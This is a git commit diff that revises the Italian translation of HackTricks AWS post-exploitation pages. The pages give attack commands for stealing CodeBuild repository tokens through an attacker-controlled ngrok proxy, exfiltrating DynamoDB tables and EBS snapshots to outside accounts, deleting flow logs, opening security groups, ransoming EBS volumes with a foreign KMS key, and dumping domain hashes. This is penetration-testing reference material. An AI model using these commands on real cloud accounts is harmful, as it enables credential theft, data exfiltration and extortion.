Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:27:43 +00:00
parent 5dd38218dd
commit 38e365814e
209 changed files with 1699 additions and 1697 deletions

View File

@@ -13,15 +13,15 @@ Per ulteriori informazioni controlla:
### Accesso a API non esposte
Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il servizio `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che consenta tutte le connessioni.\
Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era esposta prima.
Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era stata esposta prima.
### Bypass del passaggio del corpo della richiesta
### Bypass del passthrough del corpo della richiesta
Questa tecnica è stata trovata in [**questo writeup CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Questa tecnica è stata trovata in [**questo CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza trasformazione.
Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza alcuna trasformazione.
Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **impediva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`:
Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **preveniva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
@@ -51,7 +51,7 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API.
**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.
> [!NOTE]
> Necessita di test
@@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API.
**Impatto Potenziale**: Perdita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.
> [!NOTE]
> Necessita di test
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto Potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili.
**Impatto Potenziale**: Indebolire la sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili.
> [!NOTE]
> Necessita di test
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle a piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**.
Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle ai piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni, controlla:
### Controlla i Segreti
Se le credenziali sono state impostate in Codebuild per connettersi a Github, Gitlab o Bitbucket sotto forma di token personali, password o token di accesso OAuth, queste **credenziali verranno memorizzate come segreti nel gestore dei segreti**.\
Se le credenziali sono state impostate in Codebuild per connettersi a Github, Gitlab o Bitbucket sotto forma di token personali, password o accesso token OAuth, queste **credenziali verranno memorizzate come segreti nel gestore dei segreti**.\
Pertanto, se hai accesso per leggere il gestore dei segreti, sarai in grado di ottenere questi segreti e passare alla piattaforma connessa.
{{#ref}}
@@ -25,9 +25,9 @@ Per configurare **CodeBuild**, avrà bisogno di **accesso al repo di codice** ch
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
Il **progetto CodeBuild deve avere accesso** al provider di origine configurato, sia tramite **ruolo IAM** che con un **token github/bitbucket o accesso OAuth**.
Il **progetto CodeBuild deve avere accesso** al fornitore di sorgente configurato, sia tramite **ruolo IAM** che con un token github/bitbucket **o accesso OAuth**.
Un attaccante con **permessi elevati su un CodeBuild** potrebbe abusare di questo accesso configurato per leakare il codice del repo configurato e di altri a cui le credenziali impostate hanno accesso.\
Un attaccante con **permessi elevati su un CodeBuild** potrebbe abusare di questo accesso configurato per leakare il codice del repo configurato e altri a cui le credenziali impostate hanno accesso.\
Per fare ciò, un attaccante dovrebbe semplicemente **cambiare l'URL del repository a ciascun repo a cui le credenziali di configurazione hanno accesso** (nota che il web di aws elencherà tutti per te):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
@@ -63,7 +63,7 @@ Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di C
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag.
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate su tag.
### `codebuild:DeleteSourceCredentials`
@@ -71,6 +71,6 @@ Un attaccante potrebbe eliminare le credenziali di origine per un repository Git
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che dipendono dal repository interessato a causa della rimozione delle credenziali sorgente.
**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sul repository interessato a causa della rimozione delle credenziali di origine.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Recupera i Token Configurati di Github/Bitbucket
## Recuperare i Token Configurati di Github/Bitbucket
Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti leak:
```bash
@@ -10,7 +10,7 @@ aws codebuild list-source-credentials
```
### Via Docker Image
Se scopri che l'autenticazione, ad esempio su Github, è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto.
Se scopri che l'autenticazione, ad esempio, a Github è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto.
A questo scopo potresti **creare un nuovo progetto Codebuild** o modificare l'**ambiente** di uno esistente per impostare l'**immagine Docker**.
@@ -20,7 +20,7 @@ L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/doc
- Segui le istruzioni del repo per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e **costruire l'immagine docker**.
- **NON IMPOSTARE `http_proxy`** per non intercettare le richieste all'endpoint dei metadati.
- Potresti usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host.
- Una volta che hai costruito l'immagine Docker, **caricala su un repo pubblico** (Dockerhub, ECR...)
- Una volta che hai costruito l'immagine Docker, **caricala in un repo pubblico** (Dockerhub, ECR...)
2. **Imposta l'ambiente**
- Crea un **nuovo progetto Codebuild** o **modifica** l'ambiente di uno esistente.
- Imposta il progetto per utilizzare l'**immagine Docker precedentemente generata**.
@@ -29,7 +29,7 @@ L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/doc
3. **Imposta il proxy MitM nel tuo host**
- Come indicato nel **repo Github**, potresti usare qualcosa come:
- Come indicato nel **repo di Github**, potresti usare qualcosa come:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
@@ -74,13 +74,13 @@ aws codebuild start-build --project-name my-project2
### Via insecureSSL
I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nel web e puoi cambiarla solo dall'API.\
Abilitando questo, consente a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma.
Abilitando questo, permette a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma.
- Prima devi enumerare la configurazione attuale con qualcosa come:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Quindi, con le informazioni raccolte, puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta).
- Quindi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come:
```bash
aws codebuild update-project --name <proj-name> \
@@ -136,7 +136,7 @@ mitm.run()
> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)**
Un attaccante con **permessi elevati su un CodeBuild potrebbe leakare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**.
Un attaccante con **permessi elevati su un CodeBuild potrebbe rivelare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**.
- Un attaccante potrebbe aggiungere le variabili ambientali **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (ad esempio `http://5.tcp.eu.ngrok.io:14972`).

View File

@@ -1,16 +1,16 @@
# AWS - Control Tower Post Exploitation
# AWS - Controllo Torre Post Sfruttamento
{{#include ../../../banners/hacktricks-training.md}}
## Control Tower
## Controllo Torre
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
### Abilitare / Disabilitare Controlli
### Abilita / Disabilita Controlli
Per sfruttare ulteriormente un account, potrebbe essere necessario disabilitare/abilitare i controlli di Control Tower:
Per sfruttare ulteriormente un account, potresti dover disabilitare/abilitare i controlli di Control Tower:
```bash
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>

View File

@@ -12,11 +12,11 @@ Innanzitutto, si utilizzerà un comando per raccogliere informazioni sui volumi,
`aws ec2 describe-volumes`
In secondo luogo, si creerà la policy di ciclo di vita. Questo comando utilizza l'API DLM per impostare una policy di ciclo di vita che esegue automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di ciclo di vita, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che verranno registrati nei log di CloudTrail della vittima.
In secondo luogo, si creerà la policy di lifecycle. Questo comando utilizza l'API DLM per impostare una policy di lifecycle che prende automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di lifecycle, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che saranno registrati nei log di CloudTrail della vittima.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
Un modello per il documento della policy può essere visto qui:
Un modello per il documento di policy può essere visto qui:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
### `dynamodb:BatchGetItem`
Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenere queste informazioni recuperando i metadati della tabella (`describe-table`).
Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare:
**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da una sola tabella dato la chiave primaria dell'elemento da recuperare:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'entrata da recuperare. Consente di utilizzare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta.
**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare. Consente di utilizzare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,7 +107,7 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
**Impatto Potenziale:** Privilegi indiretti di accesso localizzando informazioni sensibili nella tabella
### `dynamodb:Scan`
@@ -135,7 +135,7 @@ ma è necessario specificare la chiave primaria con un valore, quindi non è cos
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un bucket S3** di sua scelta:
Questa autorizzazione consentirà a un attaccante di **esportare l'intera tabella in un bucket S3** di sua scelta:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Nota che per farlo funzionare la tabella deve avere il ripristino a un determinato momento abilitato, puoi controllare se la tabella ce l'ha con:
Nota che per farlo funzionare la tabella deve avere il point-in-time-recovery abilitato, puoi controllare se la tabella ce l'ha con:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
```
{{#endtab }}
{{#tab name="Esempio AI" }}
{{#tab name="AI Example" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
Questo permesso consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi specificati nell'espressione di aggiornamento.
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi specificati nell'espressione di aggiornamento.
{{#tabs }}
{{#tab name="Esempio XSS" }}
@@ -230,7 +230,7 @@ aws dynamodb update-item --table <table_name> \
```
{{#endtab }}
{{#tab name="Esempio AI" }}
{{#tab name="AI Example" }}
```bash
aws dynamodb update-item \
--table-name ExampleTable \
@@ -242,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Impatto Potenziale:** Sfruttamento di ulteriori vulnerabilità/bypass grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB
**Impatto Potenziale:** Sfruttamento di ulteriori vulnerabilità/evasioni grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB
### `dynamodb:DeleteTable`
@@ -267,9 +267,9 @@ aws dynamodb delete-backup \
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Testare se questo funziona realmente
> TODO: Testare se questo funziona effettivamente
Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo consente all'attaccante di monitorare ed esfiltrare le modifiche ai dati, portando potenzialmente a una fuga di dati.
Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo consente all'attaccante di monitorare ed esfiltrare le modifiche ai dati, portando potenzialmente a una perdita di dati.
1. Abilitare uno stream su una tabella DynamoDB:
```bash

View File

@@ -10,7 +10,7 @@ Per ulteriori informazioni controlla:
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
### **Specchio VPC Maligno -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
Il mirroring del traffico VPC **duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a qualcosa come un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\
Un attaccante potrebbe abusare di questo per catturare tutto il traffico e ottenere informazioni sensibili da esso:
@@ -74,7 +74,7 @@ Un attaccante potrebbe chiamare gli endpoint API di un account controllato da lu
### Open Security Group
Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte in questo modo:
Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte come questa:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -85,7 +85,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
Per [**maggiori informazioni controlla questo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
### Rimuovi i log di flusso VPC
### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
@@ -95,7 +95,7 @@ Permessi richiesti:
- `ssm:StartSession`
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa dei Security Groups o delle NACL. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa dei Security Groups o dei NACL. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -104,7 +104,7 @@ Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che pu
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Ottieni le credenziali temporanee del Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)
3. Ottieni le credenziali temporanee Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)
4. Trasferisci le credenziali al tuo computer nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
5. Accedi a EKS come Bastion EC2:
```shell
@@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il sicuro tunnel AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.
Nota che le connessioni SSL falliranno a meno che tu non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il sicuro tunnel AWS SSM, sei al sicuro da qualsiasi tipo di attacchi MitM.
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
@@ -131,15 +131,15 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMI) pubbliche o private**. Automatizza il processo di avvio di istanze da AMI target, montando i loro volumi e scansionando alla ricerca di potenziali segreti o dati sensibili.
### Condividi snapshot EBS
### Condividi Snapshot EBS
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, data la facilità con cui è possibile utilizzarlo per crittografare vari servizi AWS.
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, considerando quanto sia facile usarlo per crittografare vari servizi AWS.
Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato manterrebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption'
Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato mantenerebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal clie
]
}
```
La regola della policy della chiave deve avere i seguenti abilitati per consentire la possibilità di utilizzarla per crittografare un volume EBS:
La regola della policy della chiave deve avere i seguenti abilitati per consentire l'uso per crittografare un volume EBS:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -328,7 +328,7 @@ Aspetta un momento affinché la nuova policy della chiave si propaghi. Poi torna
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Ma quando provi effettivamente a riavviare l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave poiché la policy della chiave non lo consente più.
Ma quando tenti di avviare nuovamente l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre, poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave, poiché la policy della chiave non lo consente più.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)

View File

@@ -67,30 +67,30 @@ Passo 2: L'opzione "allega volume" deve essere selezionata facendo clic con il t
Passo 3: L'istanza dalla casella di testo dell'istanza deve essere selezionata.
Per poter eseguire questa azione, utilizza il seguente comando:
Per poter eseguire questa azione, usa il seguente comando:
- Allegare il volume EBS.
Passo 4: Accedi all'istanza EC2 e elenca i dischi disponibili utilizzando il comando `lsblk`.
Passo 4: Accedi all'istanza EC2 e elenca i dischi disponibili usando il comando `lsblk`.
Passo 5: Controlla se il volume ha dati utilizzando il comando `sudo file -s /dev/xvdf`.
Se l'output del comando sopra mostra "/dev/xvdf: data", significa che il volume è vuoto.
Passo 6: Format il volume nel filesystem ext4 utilizzando il comando `sudo mkfs -t ext4 /dev/xvdf`. In alternativa, puoi anche utilizzare il formato xfs usando il comando `sudo mkfs -t xfs /dev/xvdf`. Si prega di notare che dovresti utilizzare o ext4 o xfs.
Passo 6: Format il volume nel filesystem ext4 usando il comando `sudo mkfs -t ext4 /dev/xvdf`. In alternativa, puoi anche usare il formato xfs utilizzando il comando `sudo mkfs -t xfs /dev/xvdf`. Si prega di notare che dovresti usare o ext4 o xfs.
Passo 7: Crea una directory a tua scelta per montare il nuovo volume ext4. Ad esempio, puoi usare il nome "newvolume".
Per poter eseguire questa azione, utilizza il comando `sudo mkdir /newvolume`.
Per poter eseguire questa azione, usa il comando `sudo mkdir /newvolume`.
Passo 8: Monta il volume nella directory "newvolume" utilizzando il comando `sudo mount /dev/xvdf /newvolume/`.
Passo 8: Monta il volume nella directory "newvolume" usando il comando `sudo mount /dev/xvdf /newvolume/`.
Passo 9: Cambia directory nella directory "newvolume" e controlla lo spazio su disco per convalidare il montaggio del volume.
Per poter eseguire questa azione, utilizza i seguenti comandi:
Per poter eseguire questa azione, usa i seguenti comandi:
- Cambia directory in `/newvolume`.
- Controlla lo spazio su disco utilizzando il comando `df -h .`. L'output di questo comando dovrebbe mostrare lo spazio libero nella directory "newvolume".
- Controlla lo spazio su disco usando il comando `df -h .`. L'output di questo comando dovrebbe mostrare lo spazio libero nella directory "newvolume".
Puoi farlo con Pacu utilizzando il modulo `ebs__explore_snapshots`.
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando un **snapshot del Domain Controller**, montandolo su un'istanza che controllano ed **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket.
Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando un **snapshot del Domain Controller**, montandolo su un'istanza che controllano e **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket.
